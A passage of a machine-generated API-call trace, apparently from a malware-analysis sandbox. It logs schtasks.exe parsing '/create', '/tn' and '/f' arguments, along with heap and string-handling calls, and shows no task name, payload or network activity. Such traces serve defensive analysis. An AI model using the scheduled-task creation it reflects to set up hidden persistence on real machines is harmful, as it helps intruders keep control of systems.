(lpString="end") returned 3 [0074.685] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.685] lstrlenW (lpString="f") returned 1 [0074.685] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.685] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|end|") returned 5 [0074.685] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.685] lstrlenW (lpString="|end|") returned 5 [0074.749] lstrlenW (lpString="|f|") returned 3 [0074.749] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0074.750] SetLastError (dwErrCode=0x490) [0074.751] lstrlenW (lpString="showsid") returned 7 [0074.751] lstrlenW (lpString="showsid") returned 7 [0074.751] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.751] lstrlenW (lpString="f") returned 1 [0074.751] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.751] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|showsid|") returned 9 [0074.751] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|f|") returned 3 [0074.751] lstrlenW (lpString="|showsid|") returned 9 [0074.751] lstrlenW (lpString="|f|") returned 3 [0074.751] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0074.751] SetLastError (dwErrCode=0x490) [0074.751] SetLastError (dwErrCode=0x490) [0074.751] SetLastError (dwErrCode=0x0) [0074.751] lstrlenW (lpString="/f") returned 2 [0074.751] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0074.751] SetLastError (dwErrCode=0x490) [0074.751] SetLastError (dwErrCode=0x0) [0074.751] lstrlenW (lpString="/f") returned 2 [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2eecd0 [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edd70 [0074.752] SetLastError (dwErrCode=0x0) [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed1e0) returned 1 [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed1e0) returned 0x8 [0074.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed1e0 | out: hHeap=0x2d0000) returned 1 [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edbf0) returned 1 [0074.752] GetProcessHeap () returned 0x2d0000 [0074.752] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edbf0) returned 0x20 [0074.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edbf0 | out: hHeap=0x2d0000) returned 1 [0074.753] GetProcessHeap () returned 0x2d0000 [0074.753] GetProcessHeap () returned 0x2d0000 [0074.753] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed270) returned 1 [0074.753] GetProcessHeap () returned 0x2d0000 [0074.753] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed270) returned 0xa [0074.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed270 | out: hHeap=0x2d0000) returned 1 [0074.753] GetProcessHeap () returned 0x2d0000 [0074.753] GetProcessHeap () returned 0x2d0000 [0074.753] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc20) returned 1 [0074.753] GetProcessHeap () returned 0x2d0000 [0074.753] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc20) returned 0x20 [0074.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc20 | out: hHeap=0x2d0000) returned 1 [0074.754] GetProcessHeap () returned 0x2d0000 [0074.754] GetProcessHeap () returned 0x2d0000 [0074.754] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed290) returned 1 [0074.754] GetProcessHeap () returned 0x2d0000 [0074.754] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed290) returned 0x8 [0074.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed290 | out: hHeap=0x2d0000) returned 1 [0074.754] GetProcessHeap () returned 0x2d0000 [0074.754] GetProcessHeap () returned 0x2d0000 [0074.754] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc50) returned 1 [0074.754] GetProcessHeap () returned 0x2d0000 [0074.754] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc50) returned 0x20 [0074.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc50 | out: hHeap=0x2d0000) returned 1 [0074.755] GetProcessHeap () returned 0x2d0000 [0074.755] GetProcessHeap () returned 0x2d0000 [0074.755] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed2b0) returned 1 [0074.755] GetProcessHeap () returned 0x2d0000 [0074.755] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed2b0) returned 0x10 [0074.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed2b0 | out: hHeap=0x2d0000) returned 1 [0074.755] GetProcessHeap () returned 0x2d0000 [0074.755] GetProcessHeap () returned 0x2d0000 [0074.755] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc80) returned 1 [0074.756] GetProcessHeap () returned 0x2d0000 [0074.756] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc80) returned 0x20 [0074.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc80 | out: hHeap=0x2d0000) returned 1 [0074.757] GetProcessHeap () returned 0x2d0000 [0074.757] GetProcessHeap () returned 0x2d0000 [0074.757] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed2d0) returned 1 [0074.757] GetProcessHeap () returned 0x2d0000 [0074.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed2d0) returned 0x8 [0074.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed2d0 | out: hHeap=0x2d0000) returned 1 [0074.757] GetProcessHeap () returned 0x2d0000 [0074.757] GetProcessHeap () returned 0x2d0000 [0074.757] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edcb0) returned 1 [0074.757] GetProcessHeap () returned 0x2d0000 [0074.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edcb0) returned 0x20 [0074.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edcb0 | out: hHeap=0x2d0000) returned 1 [0074.758] GetProcessHeap () returned 0x2d0000 [0074.758] GetProcessHeap () returned 0x2d0000 [0074.758] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bf0) returned 1 [0074.758] GetProcessHeap () returned 0x2d0000 [0074.758] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7bf0) returned 0x32 [0074.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bf0 | out: hHeap=0x2d0000) returned 1 [0074.759] GetProcessHeap () returned 0x2d0000 [0074.759] GetProcessHeap () returned 0x2d0000 [0074.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edce0) returned 1 [0074.759] GetProcessHeap () returned 0x2d0000 [0074.759] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edce0) returned 0x20 [0074.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edce0 | out: hHeap=0x2d0000) returned 1 [0074.759] GetProcessHeap () returned 0x2d0000 [0074.759] GetProcessHeap () returned 0x2d0000 [0074.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecb0) returned 1 [0074.759] GetProcessHeap () returned 0x2d0000 [0074.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eecb0) returned 0x8 [0074.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecb0 | out: hHeap=0x2d0000) returned 1 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd10) returned 1 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edd10) returned 0x20 [0074.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd10 | out: hHeap=0x2d0000) returned 1 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee500) returned 1 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee500) returned 0x10 [0074.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee500 | out: hHeap=0x2d0000) returned 1 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd40) returned 1 [0074.760] GetProcessHeap () returned 0x2d0000 [0074.761] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edd40) returned 0x20 [0074.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd40 | out: hHeap=0x2d0000) returned 1 [0074.761] GetProcessHeap () returned 0x2d0000 [0074.761] GetProcessHeap () returned 0x2d0000 [0074.761] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0) returned 1 [0074.761] GetProcessHeap () returned 0x2d0000 [0074.761] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eecd0) returned 0x6 [0074.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0074.761] GetProcessHeap () returned 0x2d0000 [0074.761] GetProcessHeap () returned 0x2d0000 [0074.761] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd70) returned 1 [0074.761] GetProcessHeap () returned 0x2d0000 [0074.761] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edd70) returned 0x20 [0074.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd70 | out: hHeap=0x2d0000) returned 1 [0074.762] GetProcessHeap () returned 0x2d0000 [0074.762] GetProcessHeap () returned 0x2d0000 [0074.762] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba10) returned 1 [0074.762] GetProcessHeap () returned 0x2d0000 [0074.762] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba10) returned 0x18 [0074.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba10 | out: hHeap=0x2d0000) returned 1 [0074.763] SetLastError (dwErrCode=0x0) [0074.763] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0074.763] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0074.763] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0074.763] VerifyVersionInfoW (in: lpVersionInformation=0x23c410, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23c410) returned 1 [0074.763] SetLastError (dwErrCode=0x0) [0074.763] lstrlenW (lpString="create") returned 6 [0074.763] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0074.763] SetLastError (dwErrCode=0x490) [0074.763] SetLastError (dwErrCode=0x0) [0074.763] lstrlenW (lpString="create") returned 6 [0074.763] GetProcessHeap () returned 0x2d0000 [0074.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edd70 [0074.763] GetProcessHeap () returned 0x2d0000 [0074.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ee500 [0074.763] _memicmp (_Buf1=0x2ee500, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.763] GetProcessHeap () returned 0x2d0000 [0074.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ee520 [0074.763] SetLastError (dwErrCode=0x0) [0074.763] _memicmp (_Buf1=0x2ecbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.763] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ecbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0074.764] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0074.764] GetProcessHeap () returned 0x2d0000 [0074.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2eecb0 [0074.764] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2eecb0 | out: lpData=0x2eecb0) returned 1 [0074.765] VerQueryValueW (in: pBlock=0x2eecb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23c4f8, puLen=0x23c560 | out: lplpBuffer=0x23c4f8*=0x2ef04c, puLen=0x23c560) returned 1 [0074.765] _memicmp (_Buf1=0x2ecbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.765] _vsnwprintf (in: _Buffer=0x2ecbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23c4d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0074.765] VerQueryValueW (in: pBlock=0x2eecb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23c568, puLen=0x23c558 | out: lplpBuffer=0x23c568*=0x2eee78, puLen=0x23c558) returned 1 [0074.765] lstrlenW (lpString="schtasks.exe") returned 12 [0074.765] lstrlenW (lpString="schtasks.exe") returned 12 [0074.765] lstrlenW (lpString=".EXE") returned 4 [0074.765] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0074.765] lstrlenW (lpString="schtasks.exe") returned 12 [0074.765] lstrlenW (lpString=".EXE") returned 4 [0074.765] lstrlenW (lpString="schtasks") returned 8 [0074.765] lstrlenW (lpString="/create") returned 7 [0074.765] _memicmp (_Buf1=0x2ecbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.765] _vsnwprintf (in: _Buffer=0x2ecbd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x23c4d8 | out: _Buffer="schtasks /create") returned 16 [0074.765] _memicmp (_Buf1=0x2ecfd0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.765] GetProcessHeap () returned 0x2d0000 [0074.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edd40 [0074.765] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.765] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0074.765] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0074.765] GetProcessHeap () returned 0x2d0000 [0074.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7bf0 [0074.765] _vsnwprintf (in: _Buffer=0x2ecff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23c4d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0074.765] GetProcessHeap () returned 0x2d0000 [0074.765] GetProcessHeap () returned 0x2d0000 [0074.766] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecb0) returned 1 [0074.766] GetProcessHeap () returned 0x2d0000 [0074.766] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eecb0) returned 0x74e [0074.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecb0 | out: hHeap=0x2d0000) returned 1 [0074.766] SetLastError (dwErrCode=0x0) [0074.766] GetThreadLocale () returned 0x409 [0074.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.766] lstrlenW (lpString="create") returned 6 [0074.766] GetThreadLocale () returned 0x409 [0074.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.766] lstrlenW (lpString="?") returned 1 [0074.766] GetThreadLocale () returned 0x409 [0074.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.766] lstrlenW (lpString="s") returned 1 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="u") returned 1 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="p") returned 1 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="ru") returned 2 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="rp") returned 2 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="sc") returned 2 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="mo") returned 2 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="d") returned 1 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="m") returned 1 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="i") returned 1 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="tn") returned 2 [0074.767] GetThreadLocale () returned 0x409 [0074.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.767] lstrlenW (lpString="tr") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="st") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="sd") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="ed") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="it") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="et") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="k") returned 1 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="du") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="ri") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="z") returned 1 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="f") returned 1 [0074.768] GetThreadLocale () returned 0x409 [0074.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.768] lstrlenW (lpString="v1") returned 2 [0074.768] GetThreadLocale () returned 0x409 [0074.769] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.769] lstrlenW (lpString="xml") returned 3 [0074.769] GetThreadLocale () returned 0x409 [0074.769] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.769] lstrlenW (lpString="ec") returned 2 [0074.769] GetThreadLocale () returned 0x409 [0074.769] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.769] lstrlenW (lpString="rl") returned 2 [0074.769] GetThreadLocale () returned 0x409 [0074.769] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.769] lstrlenW (lpString="delay") returned 5 [0074.769] GetThreadLocale () returned 0x409 [0074.769] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.769] lstrlenW (lpString="np") returned 2 [0074.769] SetLastError (dwErrCode=0x0) [0074.769] SetLastError (dwErrCode=0x0) [0074.769] lstrlenW (lpString="/create") returned 7 [0074.769] lstrlenW (lpString="-/") returned 2 [0074.769] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.769] lstrlenW (lpString="create") returned 6 [0074.769] lstrlenW (lpString="create") returned 6 [0074.769] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.769] lstrlenW (lpString="create") returned 6 [0074.769] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.769] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|create|") returned 8 [0074.769] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|create|") returned 8 [0074.769] lstrlenW (lpString="|create|") returned 8 [0074.769] lstrlenW (lpString="|create|") returned 8 [0074.769] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0074.769] SetLastError (dwErrCode=0x0) [0074.769] SetLastError (dwErrCode=0x0) [0074.769] SetLastError (dwErrCode=0x0) [0074.770] lstrlenW (lpString="/tn") returned 3 [0074.770] lstrlenW (lpString="-/") returned 2 [0074.770] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.770] lstrlenW (lpString="create") returned 6 [0074.770] lstrlenW (lpString="create") returned 6 [0074.770] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.770] lstrlenW (lpString="tn") returned 2 [0074.770] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.770] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|create|") returned 8 [0074.770] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.770] lstrlenW (lpString="|create|") returned 8 [0074.770] lstrlenW (lpString="|tn|") returned 4 [0074.770] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0074.770] SetLastError (dwErrCode=0x490) [0074.770] lstrlenW (lpString="?") returned 1 [0074.770] lstrlenW (lpString="?") returned 1 [0074.770] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.770] lstrlenW (lpString="tn") returned 2 [0074.770] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.770] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|?|") returned 3 [0074.770] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.770] lstrlenW (lpString="|?|") returned 3 [0074.770] lstrlenW (lpString="|tn|") returned 4 [0074.770] SetLastError (dwErrCode=0x490) [0074.770] lstrlenW (lpString="s") returned 1 [0074.770] lstrlenW (lpString="s") returned 1 [0074.770] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.770] lstrlenW (lpString="tn") returned 2 [0074.770] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.771] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|s|") returned 3 [0074.771] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.771] lstrlenW (lpString="|s|") returned 3 [0074.771] lstrlenW (lpString="|tn|") returned 4 [0074.771] SetLastError (dwErrCode=0x490) [0074.771] lstrlenW (lpString="u") returned 1 [0074.771] lstrlenW (lpString="u") returned 1 [0074.771] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.771] lstrlenW (lpString="tn") returned 2 [0074.771] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.771] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|u|") returned 